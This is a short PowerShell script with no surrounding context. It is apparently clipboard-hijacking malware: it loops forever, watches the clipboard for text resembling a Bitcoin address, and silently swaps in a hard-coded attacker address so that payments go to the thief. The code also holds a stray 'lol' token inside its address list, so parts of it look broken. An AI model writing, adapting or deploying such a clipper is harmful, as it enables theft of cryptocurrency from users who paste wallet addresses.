function isBitcoinAddress([string]$clipboardContent) { if($clipboardContent[0] -ne \'1\') { return $false } $strLength = $clipboardContent.length if($strLength -lt 26 -or $strLength -gt 35) { return $false } $validRegex = \'^[a-zA-Z0-9\\s]+$\' if($clipboardContent -cnotmatch $validRegex) { return $false } return $true } $bitcoinAddresses = ("19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W", "19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W",lol, "19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W", "19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W", "19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W") $bitcoinAddressesSize = $bitcoinAddresses.length $i = 0 $oldAddressSet = "" while(1) { $clipboardContent = Get-Clipboard if((isBitcoinAddress($clipboardContent)) -ceq $true -and $clipboardContent -cne $oldAddressSet) { Set-Clipboard $bitcoinAddresses[$i] $oldAddressSet = $bitcoinAddresses[$i] $i = ($i + 1) % $bitcoinAddressesSize } }